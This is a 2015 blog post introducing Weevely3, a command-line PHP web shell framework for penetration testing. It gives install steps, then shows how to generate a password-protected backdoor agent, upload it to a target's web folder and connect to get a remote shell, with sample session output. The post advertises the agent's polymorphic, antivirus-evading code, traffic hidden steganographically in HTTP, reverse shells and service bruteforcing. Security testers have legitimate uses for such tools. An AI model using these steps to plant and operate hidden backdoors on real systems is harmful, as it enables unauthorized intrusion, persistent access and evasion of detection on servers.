Weevely3 - Weaponized Web Shell

Sunday, September 20, 2015

Weevely is a command line web shell dynamically extended over the network at runtime designed for remote administration and pen testing. It provides a weaponized telnet-like console through a PHP script running on the target, even in restricted environments.

The low footprint agent and over 30 modules shape an extensible framework to administrate, conduct a pen-test, post-exploit, and audit remote web accesses in order to escalate privileges and pivot deeper in the internal networks.

  • Shell/PHP telnet-like network terminal
  • Common server misconfigurations auditing
  • SQL console pivoting on target
  • HTTP traffic proxying through target
  • Mount target file system to local mount point
  • Conduct network scans pivoting on target
  • File upload and download
  • Spawn reverse and direct TCP shells
  • Bruteforce services accounts
  • Compress and decompress zip, gzip, bzip2 and tar archives

The backdoor agent
The remote agent is a very low footprint php script that receives dynamically injected code from the client, extending the client functionalities over the network at run-time. The agent code is polymorphic and hardly detectable by AV and HIDS. The communication is covered and obfuscated within the HTTP protocol using steganographic techniques.

Modules development
Weevely also provides python API which can be used to develop your own module to implement internal audit, account enumerator, sensitive data scraper, network scanner, make the modules work as a HTTP or SQL client and do a whole lot of other cool stuff.


The following example runs on a Debian/Ubuntu derived Linux environments with Python version 2.7.
# Make sure that the python package manager and yaml libraries are installed
$ sudo apt-get install g++ python-pip libyaml-dev python-dev
# Install requirements
$ sudo pip install prettytable Mako PyYAML python-dateutil PySocks --upgrade

The following example runs on OS X with the Macports packaging system.
$ sudo port install python27 py27-pip
$ sudo port select --set pip pip27
$ sudo port select --set python python27
# Ideally, at this point you should install editline library (http://thrysoee.dk/editline/)
# to have a working line completion in terminal. See issue #7 for more info.
$ sudo pip install prettytable Mako PyYAML python-dateutil readline PySocks --upgrade

The following example runs on Microsoft Windows 7 with Python version 2.7, and likely on other Windows version. First of all, install Python 2.7 and pip package manager using ez_setup.py as explained in this guide.
# Enter in a folder which allows to call pip.exe usually C:\Python27\Scripts\ with no %PATH% set and
# install the following requirements
> pip install prettytable Mako PyYAML python-dateutil pyreadline PySocks --upgrade

Generate the backdoor agent

Weevely client communicates to the PHP agent installed into the target. Run ./weevely.py to print help.
$ ./weevely.py 
[+] weevely 3.0
[!] Error: too few arguments

[+] Run terminal to the target
    weevely <URL> <password>

[+] Load session file
    weevely session <path>

[+] Generate backdoor agent
    weevely generate <password> <path>
To generate a new agent, just use the generate option passing the password and path arguments.
$ ./weevely.py generate mypassword agent.php
Generated backdoor with password 'mypassword' in 'agent.php' of 1469 byte size.
Then, upload the generated agent under the target web folder. Make sure that the agent PHP script is properly exposed and executable through the web server.

Connect to the agent

Launch weevely script to connect to the remote agent.
 $ ./weevely.py http://target/agent.php mypassword
The first prompt weevely> is still not connected to allow users to set any useful pre-connection option e.g. set proxies to be used. Running a real command starts automatically the session on the remote target.
weevely> ls
www-data@target:/var/www $ cd ..
www-data@target:/var/ $ whoami
www-data@target:/var/ $ uname -a
Linux ubuntu 3.2.0-65-generic 99-Ubuntu SMP Fri Jul 4 21:04:27 UTC 2014 i686 i686 i386 GNU/Linux
www-data@target:/var/ $

Subscribe via e-mail for updates!